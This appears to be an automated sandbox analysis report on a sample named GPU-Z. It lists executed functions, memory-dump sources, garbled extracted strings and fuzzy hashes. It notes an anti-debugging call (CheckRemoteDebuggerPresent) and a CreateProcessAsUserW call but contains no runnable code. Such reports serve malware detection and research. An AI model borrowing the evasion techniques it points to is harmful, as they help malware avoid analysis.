Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Execution Graph

Execution Coverage:	18.5%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	7.6%
Total number of Nodes:	118
Total number of Limit Nodes:	5

Executed Functions

Function 031B81A8 Relevance: 12.1, Strings: 9, Instructions: 888COMMON

Download Yara Rule

Strings

(o]q, xrefs: 031B81D6
,aq, xrefs: 031B8648
(o]q, xrefs: 031B86B7
(o]q, xrefs: 031B835A
,aq, xrefs: 031B8638
(o]q, xrefs: 031B8769
(o]q, xrefs: 031B82BD
(o]q, xrefs: 031B8291
(o]q, xrefs: 031B86A7

Memory Dump Source

Source File: 00000000.00000002.2836290715.00000000031B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 031B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_31b0000_GPU-Z.jbxd

Similarity

API ID:
String ID: (o]q$(o]q$(o]q$(o]q$(o]q$(o]q$(o]q$,aq$,aq
API String ID: 0-99275883
Opcode ID: 9b45955fa4fa29068aa808b3280c41c834f3468617c689231f5c74a4a5a031ca
Instruction ID: 451875ac533ca7478a21dd01c28be32cbd26a142127081ac66bf4bd998504832
Opcode Fuzzy Hash: 9b45955fa4fa29068aa808b3280c41c834f3468617c689231f5c74a4a5a031ca
Instruction Fuzzy Hash: 11822974A00649DFCB14CF68D984AEEBBFAFF88714F158599E4099B2A1D730E941CB90

Function 031B7458 Relevance: 8.5, Strings: 6, Instructions: 986COMMON

Download Yara Rule

Strings

Haq, xrefs: 031B784E
,aq, xrefs: 031B7D40
(o]q, xrefs: 031B7CBA
(o]q, xrefs: 031B7982
(o]q, xrefs: 031B7CC8
,aq, xrefs: 031B7D32

Memory Dump Source

Source File: 00000000.00000002.2836290715.00000000031B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 031B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_31b0000_GPU-Z.jbxd

Similarity

API ID:
String ID: (o]q$(o]q$(o]q$,aq$,aq$Haq
API String ID: 0-387163720
Opcode ID: bd022a818b03a06df7048cfa66f5dd4fa0545791aa0f2f2c0d79a90e9b2e4ac8
Instruction ID: c6b7c624b0dc5f053ff0e51fb0547ad0a52abe91eb8d663ea34a98e7935fd215
Opcode Fuzzy Hash: bd022a818b03a06df7048cfa66f5dd4fa0545791aa0f2f2c0d79a90e9b2e4ac8
Instruction Fuzzy Hash: A8825D71A002199FDB15CF69D884AEEBBB6FF88300F198469E815EB3A1DB34DD41CB51

Function 088D0040 Relevance: 8.3, Strings: 6, Instructions: 791
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

Haq, xrefs: 088D08E2
Haq, xrefs: 088D06C4
Haq, xrefs: 088D0723
Haq, xrefs: 088D04C0
Haq, xrefs: 088D02A2
Haq, xrefs: 088D0301

Memory Dump Source

Source File: 00000000.00000002.2861417736.00000000088D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 088D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_88d0000_GPU-Z.jbxd

Similarity

API ID:
String ID: Haq$Haq$Haq$Haq$Haq$Haq
API String ID: 0-1810319454
Opcode ID: 3cffc4464f33e630b8965a4c76669fc6acd1d9b861608278118ad91e7bac45a2
Instruction ID: e19ece9f905d6f48a6b9e7b572f9bb2bb3501099a73825777a172f784b4db231
Opcode Fuzzy Hash: 3cffc4464f33e630b8965a4c76669fc6acd1d9b861608278118ad91e7bac45a2
Instruction Fuzzy Hash: 3142CD30B406148FCB48AB7DC85466E7BAABFC8320F648569D50ADB3A5DE34DD07C791

Function 08A946F4 Relevance: 5.5, Instructions: 5539
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000000.00000002.2861681889.0000000008A90000.00000040.00000800.00020000.00000000.sdmp, Offset: 08A90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8a90000_GPU-Z.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 86d1adbc00d15f787ef4101050af4f6750c7b8246f3a3e283c5990d21f069f2c
Instruction ID: ccb70608ddb815115e7a5ec3b326da8b6dd6f2fac112d18a707070f755a29236
Opcode Fuzzy Hash: 86d1adbc00d15f787ef4101050af4f6750c7b8246f3a3e283c5990d21f069f2c
Instruction Fuzzy Hash: 74B31770E156288FCB58EF38E99966CBBB2FB89300F4048EDD089A7650DE345D85CF46

Function 08A94790 Relevance: 5.5, Instructions: 5514
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000000.00000002.2861681889.0000000008A90000.00000040.00000800.00020000.00000000.sdmp, Offset: 08A90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8a90000_GPU-Z.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 183163731bf8df04357b22216d5325acf9d37ddeda243295eab6788844638713
Instruction ID: e479495b69209e6b0e194e3627ca535b0e0f292c51ee26968ef40e3a165d4d4c
Opcode Fuzzy Hash: 183163731bf8df04357b22216d5325acf9d37ddeda243295eab6788844638713
Instruction Fuzzy Hash: 43B31770E156288FCB58EF38E99966CBBB2FB89300F4048EDD489A7650DE345D85CF46

Function 08A947A0 Relevance: 5.5, Instructions: 5506
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000000.00000002.2861681889.0000000008A90000.00000040.00000800.00020000.00000000.sdmp, Offset: 08A90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8a90000_GPU-Z.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 001d45c209c98b024dc1defaad33ed14430fa5ad9ce5c65ae5e956dca27668b3
Instruction ID: e783a1150030e25e869519b79156652b299954fecf9781c2349e132808275cb6
Opcode Fuzzy Hash: 001d45c209c98b024dc1defaad33ed14430fa5ad9ce5c65ae5e956dca27668b3
Instruction Fuzzy Hash: C9B31770E156288FCB58EF38E99966CBBB2FB89300F4048EDD489A7650DE345D85CF46

Function 088D45B8 Relevance: 5.2, Instructions: 5220
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000000.00000002.2861417736.00000000088D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 088D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_88d0000_GPU-Z.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 54abd713519a33b9399a2df85848f003d2e2b07f7d29d3bb90a7889b426bbbf6
Instruction ID: 80009f54a6cb522af3d9b31b4eca36414e776d6eb6de1ca25589e639839c9308
Opcode Fuzzy Hash: 54abd713519a33b9399a2df85848f003d2e2b07f7d29d3bb90a7889b426bbbf6
Instruction Fuzzy Hash: F1B31B70E112288FCB58EF79D99969CBBF2FB88300F4188E9D488A7251DE345D86DF45

Function 08A9FAD0 Relevance: 5.2, Strings: 4, Instructions: 190
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

"*p, xrefs: 08A9FC08
e\1, xrefs: 08A9FBBD
e\1, xrefs: 08A9FBC4
e\1, xrefs: 08A9FBDB

Memory Dump Source

Source File: 00000000.00000002.2861681889.0000000008A90000.00000040.00000800.00020000.00000000.sdmp, Offset: 08A90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8a90000_GPU-Z.jbxd

Similarity

API ID:
String ID: e\1$e\1$e\1$"*p
API String ID: 0-2688796580
Opcode ID: 701b944417787a21ff1abe0443307797e27890ea5a30b085de0e104e9eebee31
Instruction ID: 8a68021b34c62da25d1006e6e3e089dab80720e32648ba745ef31024f8acd6f9
Opcode Fuzzy Hash: 701b944417787a21ff1abe0443307797e27890ea5a30b085de0e104e9eebee31
Instruction Fuzzy Hash: 4681EFB0D05219CFCF14CFA9D9946EEBBF2AF89301F20952AD456BB254DB349A02CF54

Function 08A9FAC2 Relevance: 5.2, Strings: 4, Instructions: 187
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

"*p, xrefs: 08A9FC08
e\1, xrefs: 08A9FBBD
e\1, xrefs: 08A9FBC4
e\1, xrefs: 08A9FBDB

Memory Dump Source

Source File: 00000000.00000002.2861681889.0000000008A90000.00000040.00000800.00020000.00000000.sdmp, Offset: 08A90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8a90000_GPU-Z.jbxd

Similarity

API ID:
String ID: e\1$e\1$e\1$"*p
API String ID: 0-2688796580
Opcode ID: b858baa991a340c630311a84506b0ae5c55e7d5955a014353fc3a5cb284b9fb6
Instruction ID: c610263f3099e6e786e7f3a2a0d7d6d08313775c8d8be27d0de42fca78e5ea95
Opcode Fuzzy Hash: b858baa991a340c630311a84506b0ae5c55e7d5955a014353fc3a5cb284b9fb6
Instruction Fuzzy Hash: E8810270D05219CFCF04CFA5D9946EEBBF2AF89301F20952AC456BB254DB349A02CF54

Function 07FE8B38 Relevance: 5.2, Strings: 4, Instructions: 167
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

$]q, xrefs: 07FE8BC1
KO, xrefs: 07FE8D25, 07FE8D2A
6f, xrefs: 07FE8D8A
6f, xrefs: 07FE8D98

Memory Dump Source

Source File: 00000000.00000002.2860807649.0000000007FE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 07FE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7fe0000_GPU-Z.jbxd

Similarity

API ID:
String ID: 6f$6f$$]q$KO
API String ID: 0-1451533645
Opcode ID: 073de882abba1e824228f3387386b526c52498053e1d807ccb86fbc04a7213ac
Instruction ID: cb5bb5bcd89284cc265f14a4a83e0656bf9992e7908359322f7d4edc44f56e7a
Opcode Fuzzy Hash: 073de882abba1e824228f3387386b526c52498053e1d807ccb86fbc04a7213ac
Instruction Fuzzy Hash: 887124B4E00209DFDB04DFA9D5845DEBBB6FF89301F24852AD906AB358DB309981CF51

Function 07FE8B28 Relevance: 3.9, Strings: 3, Instructions: 183COMMON

Download Yara Rule

Strings

$]q, xrefs: 07FE8BC1
KO, xrefs: 07FE8D25, 07FE8D2A
6f, xrefs: 07FE8D98

Memory Dump Source

Source File: 00000000.00000002.2860807649.0000000007FE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 07FE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7fe0000_GPU-Z.jbxd

Similarity

API ID:
String ID: 6f$$]q$KO
API String ID: 0-155082849
Opcode ID: 5e2dccdaaaf23233af8421def2a5cba8219a337ea5885c48ea94f0a384da8d38
Instruction ID: 178950629d1292558e684ebce476993f488538773fdbc156abebe542d5755c0a
Opcode Fuzzy Hash: 5e2dccdaaaf23233af8421def2a5cba8219a337ea5885c48ea94f0a384da8d38
Instruction Fuzzy Hash: BC8125B4E00209DFDB05DFA9D48459EBBB6FF89301F24852AD906EB368DB349942CF51

Function 031B9270 Relevance: 3.7, Strings: 2, Instructions: 1206COMMON

Download Yara Rule

Strings

$]q, xrefs: 031B9D94
$]q, xrefs: 031B9DB7

Memory Dump Source

Source File: 00000000.00000002.2836290715.00000000031B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 031B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_31b0000_GPU-Z.jbxd

Similarity

API ID:
String ID: $]q$$]q
API String ID: 0-127220927
Opcode ID: 3de9270063ef9c0636d162944d55acc82f2bf99f3f8c58bbad6245d5884ee9c6
Instruction ID: cac453a085f35bb8bde3273dfad8b45be864502dc1b14276e9d907cea8718d24
Opcode Fuzzy Hash: 3de9270063ef9c0636d162944d55acc82f2bf99f3f8c58bbad6245d5884ee9c6
Instruction Fuzzy Hash: DBB26370A002198FDB15DFA9C994BDEBBB6FF88300F1480A9D509AB3A1CB359D46DF51

Function 08BA6AAE Relevance: 3.3, Instructions: 3331COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2861831669.0000000008BA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 08BA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8ba0000_GPU-Z.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e5e7e80e0ce1da66a46302f17c231086aca3411f59c812a7259492bc5f19964a
Instruction ID: a08231b433a1b837142ebdcfc3b8a2dfef842833d6e628c527c6c38b24c614b4
Opcode Fuzzy Hash: e5e7e80e0ce1da66a46302f17c231086aca3411f59c812a7259492bc5f19964a
Instruction Fuzzy Hash: 99538DB0A142298FCB15EF78D89975DBBB2EF85304F4089E9D04CA7341DA386D89CF56

Function 088DC080 Relevance: 2.8, Strings: 1, Instructions: 1598COMMON

Download Yara Rule

Strings

k@, xrefs: 088DD00C

Memory Dump Source

Source File: 00000000.00000002.2861417736.00000000088D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 088D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_88d0000_GPU-Z.jbxd

Similarity

API ID:
String ID: k@
API String ID: 0-1332332647
Opcode ID: 1c2834fb04143bd9b97f4a7d9e616dde42262eb557207bda86e653d4ab678cba
Instruction ID: 9bb6e077ef3fc2a1146d917fc16c05e505cfae10f32b04e7467a0240a44bf315
Opcode Fuzzy Hash: 1c2834fb04143bd9b97f4a7d9e616dde42262eb557207bda86e653d4ab678cba
Instruction Fuzzy Hash: 4CD2F2B0E153148FDB15BB78D99869DBFB2EF85300F4188A9D488E7392DE385C46CB52

Function 07FF0007 Relevance: 2.7, Strings: 2, Instructions: 247COMMON

Download Yara Rule

Strings

PH]q, xrefs: 07FF02FA
PH]q, xrefs: 07FF02BA

Memory Dump Source

Source File: 00000000.00000002.2860899704.0000000007FF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 07FF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff0000_GPU-Z.jbxd

Similarity

API ID:
String ID: PH]q$PH]q
API String ID: 0-1166926398
Opcode ID: 0d6e9eec58d11a62c745c3c29d768df79a797ad6ea8405ec71aed9d56ced95ce
Instruction ID: 7cb017493aabd00e9158654b87a92c1aef34f2b3e351d606c4d113b89c911eec
Opcode Fuzzy Hash: 0d6e9eec58d11a62c745c3c29d768df79a797ad6ea8405ec71aed9d56ced95ce
Instruction Fuzzy Hash: E9A145B4E15249CFCB44CFA9D98469DBBB2FF8A300F18812AD506BB266DB349901CF15

Function 07FF0040 Relevance: 2.7, Strings: 2, Instructions: 232COMMON

Download Yara Rule

Strings

PH]q, xrefs: 07FF02FA
PH]q, xrefs: 07FF02BA

Memory Dump Source

Source File: 00000000.00000002.2860899704.0000000007FF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 07FF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff0000_GPU-Z.jbxd

Similarity

API ID:
String ID: PH]q$PH]q
API String ID: 0-1166926398
Opcode ID: 313bbfaeec037efd8c1899b61a8b037ba8b9711464f053c52daea3edf23e2acd
Instruction ID: 921a83859b89af8073a243a4749482fb9094bd6ac6899f4022ed830e702eb90e
Opcode Fuzzy Hash: 313bbfaeec037efd8c1899b61a8b037ba8b9711464f053c52daea3edf23e2acd
Instruction Fuzzy Hash: B5A124B4E15209CFCB48CFA9D984A9DBBB2FF89300F24952AD506BB365DB749901CF14

Function 07FE0C31 Relevance: 2.7, Strings: 2, Instructions: 221COMMON

Download Yara Rule

Strings

Te]q, xrefs: 07FE0CB9
Te]q, xrefs: 07FE0E92

Memory Dump Source

Source File: 00000000.00000002.2860807649.0000000007FE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 07FE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7fe0000_GPU-Z.jbxd

Similarity

API ID:
String ID: Te]q$Te]q
API String ID: 0-3320153681
Opcode ID: cc12e681f2daa25f3c18570ba9c76e267c3a82a1eda0b52d659e7dec0a2c1072
Instruction ID: 5797657061c5bbd3aec225eec8848fcdd02f7f4530292c3581a94f0c55304c79
Opcode Fuzzy Hash: cc12e681f2daa25f3c18570ba9c76e267c3a82a1eda0b52d659e7dec0a2c1072
Instruction Fuzzy Hash: C891E3B5E042498FCB08CFA9C9849DEFBF2FF89310F24902AD415BB264DB749946CB51

Function 07FE0C50 Relevance: 2.7, Strings: 2, Instructions: 207COMMON

Download Yara Rule

Strings

Te]q, xrefs: 07FE0CB9
Te]q, xrefs: 07FE0E92

Memory Dump Source

Source File: 00000000.00000002.2860807649.0000000007FE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 07FE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7fe0000_GPU-Z.jbxd

Similarity

API ID:
String ID: Te]q$Te]q
API String ID: 0-3320153681
Opcode ID: d618375b8985333f7e02b3cf0ed9b3f0c4d8766afc80d1c90130fd882e982032
Instruction ID: 7a527219399858785f193cecf9cee621f7c656a089f657afdd2170b31687493b
Opcode Fuzzy Hash: d618375b8985333f7e02b3cf0ed9b3f0c4d8766afc80d1c90130fd882e982032
Instruction Fuzzy Hash: 2291C3B5E102098FDB08CFA9C5849DEFBB2FF89300F24942AD815BB254DB749946CF51

Function 07FEFC00 Relevance: 1.7, APIs: 1, Instructions: 164processCOMMON

Download Yara Rule

APIs

CreateProcessAsUserW.KERNELBASE(?,?,?,0000000A,?,?,?,?,?,?,?), ref: 07FEFD6B

Memory Dump Source

Source File: 00000000.00000002.2860807649.0000000007FE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 07FE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7fe0000_GPU-Z.jbxd

Similarity

API ID: CreateProcessUser
String ID:
API String ID: 2217836671-0
Opcode ID: f1464e58e1f994f7180ab842c427c3618888ab13b4902c653fbf3f6f71f8f475
Instruction ID: 0c23e77a6fcbb13e8341bfc32c0821bb01c0c0bb79ca3dece3ef7b6e46fc1e3e
Opcode Fuzzy Hash: f1464e58e1f994f7180ab842c427c3618888ab13b4902c653fbf3f6f71f8f475
Instruction Fuzzy Hash: 8E51F5B1D0026ADFDB65CF59C840BDDBBB5BF48310F1484AAE818B7250DB75AA85CF90

Function 0583BDBC Relevance: 1.6, APIs: 1, Instructions: 68COMMON

Download Yara Rule

APIs

CheckRemoteDebuggerPresent.KERNELBASE(00000000,?), ref: 0583F4BF

Memory Dump Source

Source File: 00000000.00000002.2855402098.0000000005830000.00000040.00000800.00020000.00000000.sdmp, Offset: 05830000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5830000_GPU-Z.jbxd

Similarity

API ID: CheckDebuggerPresentRemote
String ID:
API String ID: 3662101638-0
Opcode ID: 87d055c7fbd7afa1d53f427d6441f1a3f8762e9b69dc095300b0fa2abc8bf59a
Instruction ID: a4ed39fd5c81a9be4e39bcb2066aade49a1e2f6e08fb59db4baa1ebd352f20f9
Opcode Fuzzy Hash: 87d055c7fbd7afa1d53f427d6441f1a3f8762e9b69dc095300b0fa2abc8bf59a
Instruction Fuzzy Hash: 4A2148B1C002598FCB10DF9AD484BEEFBF4EF49320F14845AE959A3250D778A944CFA1

Function 07FE2D0D Relevance: 1.6, Strings: 1, Instructions: 302COMMON

Download Yara Rule

Strings

kQD, xrefs: 07FE2FC0

Memory Dump Source

Source File: 00000000.00000002.2860807649.0000000007FE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 07FE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7fe0000_GPU-Z.jbxd

Similarity

API ID:
String ID: kQD
API String ID: 0-3066535408
Opcode ID: c7358669fe82ca7265d49979e3517e14b9f9ea7e1ba7331f39a5b761eabcf8dc
Instruction ID: 044d06e9e1f0d47f01df136d7c725ee3a0369186051726910467992dd0aa6fe7
Opcode Fuzzy Hash: c7358669fe82ca7265d49979e3517e14b9f9ea7e1ba7331f39a5b761eabcf8dc
Instruction Fuzzy Hash: E7D15AB5D1460ADFCB14CFA9C4808AEFBBAFF4A300B18D555D511AB215E734EA82CF91

Function 08BAADA0 Relevance: 1.4, Instructions: 1438COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2861831669.0000000008BA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 08BA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8ba0000_GPU-Z.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 79337e90a54384789c0de836487fba034160d56fae7a97085f1be47faab60732
Instruction ID: bead262fdbb24aa5fedbbc9f9eb6636394976072ed99be0de5a920dd6668c0c9
Opcode Fuzzy Hash: 79337e90a54384789c0de836487fba034160d56fae7a97085f1be47faab60732
Instruction Fuzzy Hash: 42C2D070A142288FCB15BF78D8993ADBBB2FF89704F4089A9D44CA7341DE385D49CB56

Function 07FED5E0 Relevance: 1.4, Strings: 1, Instructions: 159COMMON

Download Yara Rule

Strings

KO, xrefs: 07FED6F4, 07FED6F9

Memory Dump Source

Source File: 00000000.00000002.2860807649.0000000007FE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 07FE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7fe0000_GPU-Z.jbxd

Similarity

API ID:
String ID: KO
API String ID: 0-299851347
Opcode ID: c33681973a6c844b70f9d11cd3dd445b02558e6dee2118884ed3850626ab5b10
Instruction ID: 457df8c9b6b280fced189259cd56a3d6e34a69e166b7891829c74cbb4843f068
Opcode Fuzzy Hash: c33681973a6c844b70f9d11cd3dd445b02558e6dee2118884ed3850626ab5b10
Instruction Fuzzy Hash: 69616BB0E11209DFDB04CFE4D944AAEBBB6FF89301F24842AD816BB658D7749A01CF55

Function 07FE14C8 Relevance: 1.4, Strings: 1, Instructions: 149COMMON

Download Yara Rule

Strings

>NG, xrefs: 07FE157E

Memory Dump Source

Source File: 00000000.00000002.2860807649.0000000007FE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 07FE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7fe0000_GPU-Z.jbxd

Similarity

API ID:
String ID: >NG
API String ID: 0-1926143806
Opcode ID: 0829229594032a2e34879bacc504db58b3210c4375233bb9f6fec37160b99c6e
Instruction ID: a39a643a2bb2131349954694fb5bf869395c459dac80a549eefc829700ff1d64
Opcode Fuzzy Hash: 0829229594032a2e34879bacc504db58b3210c4375233bb9f6fec37160b99c6e
Instruction Fuzzy Hash: D35139B1E152098FCB08CFAAC8415AEFBF6BF89301F18D12AD516B7254D7349A41CF64

Function 07FE14D8 Relevance: 1.4, Strings: 1, Instructions: 143COMMON

Download Yara Rule

Strings

>NG, xrefs: 07FE157E

Memory Dump Source

Source File: 00000000.00000002.2860807649.0000000007FE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 07FE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7fe0000_GPU-Z.jbxd

Similarity

API ID:
String ID: >NG
API String ID: 0-1926143806
Opcode ID: ab1d924bacbac22b8b60cf3726f562fc6e1dac75d1928a7a0a1a4a980a38d2e9
Instruction ID: 65da07ad27eada1af49d3ce18940dbaf12b56308dc13b7efe6c137491bf6fef4
Opcode Fuzzy Hash: ab1d924bacbac22b8b60cf3726f562fc6e1dac75d1928a7a0a1a4a980a38d2e9
Instruction Fuzzy Hash: 015107B1E152198FCB08CFAAC8415AEFBF6BF89301F18D12AD51AB7254D7349A41CF64

Function 08BAE9A7 Relevance: 1.4, Strings: 1, Instructions: 115COMMON

Download Yara Rule

Strings

<, xrefs: 08BAEACD

Memory Dump Source

Source File: 00000000.00000002.2861831669.0000000008BA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 08BA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8ba0000_GPU-Z.jbxd

Similarity

API ID:
String ID: <
API String ID: 0-4251816714
Opcode ID: fe943549973d4e7e52c9408dd7268cd685b7d5365a954e1064ba0e760962da58
Instruction ID: 65a7fcdb27a65392f373ca245f7a59a77a5eb9e6989e134f44e2d56f07363e57
Opcode Fuzzy Hash: fe943549973d4e7e52c9408dd7268cd685b7d5365a954e1064ba0e760962da58
Instruction Fuzzy Hash: 1E517475E016188FDB58DFAAC9446DDBBF2AFC9305F14C0AAD409AB364EB345A85CF40

Function 08BA2D20 Relevance: .8, Instructions: 769COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2861831669.0000000008BA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 08BA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8ba0000_GPU-Z.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3740b15f4386a4df809343860cbf49a7ea5696624095e1deec9638b2f9a27047
Instruction ID: a7576be137b7db9272c404d986cdbecc518691cdebbf9e557645377bb4d6f338
Opcode Fuzzy Hash: 3740b15f4386a4df809343860cbf49a7ea5696624095e1deec9638b2f9a27047
Instruction Fuzzy Hash: FB42BD70E042058FCB1AEBB9D89955DBBF2EF89304F51856ED049EB352DE389C06CB52

Function 06784608 Relevance: .6, Instructions: 596COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2858187805.0000000006780000.00000040.00000800.00020000.00000000.sdmp, Offset: 06780000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6780000_GPU-Z.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 47c2cc08cb25bf41f5e2f9cb4d97a4ffe6de875c12d9455691841991d0be79c1
Instruction ID: ca1900d6511c016cfed8011abb671848126091f8c43c8c72ea7a9aa7e0f29ced
Opcode Fuzzy Hash: 47c2cc08cb25bf41f5e2f9cb4d97a4ffe6de875c12d9455691841991d0be79c1
Instruction Fuzzy Hash: 95524D34A003468FCB14DF68C844B99B7B2FF89314F2586A9D5586F3A1DB71AD86CF81

Function 067845F8 Relevance: .6, Instructions: 586COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2858187805.0000000006780000.00000040.00000800.00020000.00000000.sdmp, Offset: 06780000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6780000_GPU-Z.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3ad3e205849fc8d0a298259a7202653f1ca150776248dc767f3ba16ed3a9b9af
Instruction ID: 250cd50dbca86e9aab66ac8f685f195d351b9851c1c4b5c6877a62dda921a9d8
Opcode Fuzzy Hash: 3ad3e205849fc8d0a298259a7202653f1ca150776248dc767f3ba16ed3a9b9af
Instruction Fuzzy Hash: C1526D34A003468FCB14DF68C844B99B7B2FF85314F2586A9D5586F3A2DB71AD86CF81

Function 08BA2CCD Relevance: .6, Instructions: 561COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2861831669.0000000008BA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 08BA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8ba0000_GPU-Z.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b7e0fcfcd4018a7b78c6109a69aad8839c25ecc8b85dea63cce83cc476df2cee
Instruction ID: 85da0e9efe97307b78c2b9215c147e8804f9618cc89ff011ecf1cf27327a119f
Opcode Fuzzy Hash: b7e0fcfcd4018a7b78c6109a69aad8839c25ecc8b85dea63cce83cc476df2cee
Instruction Fuzzy Hash: 0C129A71E002058FCB19EFB9D89956DBBF2FF89704B51892DD049EB351EE389C068B52

Function 07FF3E28 Relevance: .5, Instructions: 483COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2860899704.0000000007FF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 07FF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff0000_GPU-Z.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: bc21244ca166357f50c7c45b8c6230d8aaaf7a0f34673eb9eff5150473fe29cf
Instruction ID: 71313433b9cf42f35adcec5e3ddf7f4371e99c54fcb40672c2ef5fadbc42f610
Opcode Fuzzy Hash: bc21244ca166357f50c7c45b8c6230d8aaaf7a0f34673eb9eff5150473fe29cf
Instruction Fuzzy Hash: 5902CCB0B017458FDB19DB69C850BAEB7F6AF89300F188469D606DB2A0DF35ED05CB91

Function 07FE1EA0 Relevance: .1, Instructions: 119COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2860807649.0000000007FE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 07FE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7fe0000_GPU-Z.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6933ff917da5d088dc727768dcdc8b714e2a8bfaab54e34f55d113848fad996e
Instruction ID: 8ab25572946e19a351298495ade0bb4c9ddf30de23670da8d21e359a0c1d4071
Opcode Fuzzy Hash: 6933ff917da5d088dc727768dcdc8b714e2a8bfaab54e34f55d113848fad996e
Instruction Fuzzy Hash: D85109B1D11658CFDB18CFA6D8846DEBBF6BF88310F14C0A9D509A7254DB34AA85CF40

Function 07FE1E91 Relevance: .1, Instructions: 107COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2860807649.0000000007FE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 07FE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7fe0000_GPU-Z.jbxd

Similarity

API ID:
String ID:
API String ID:
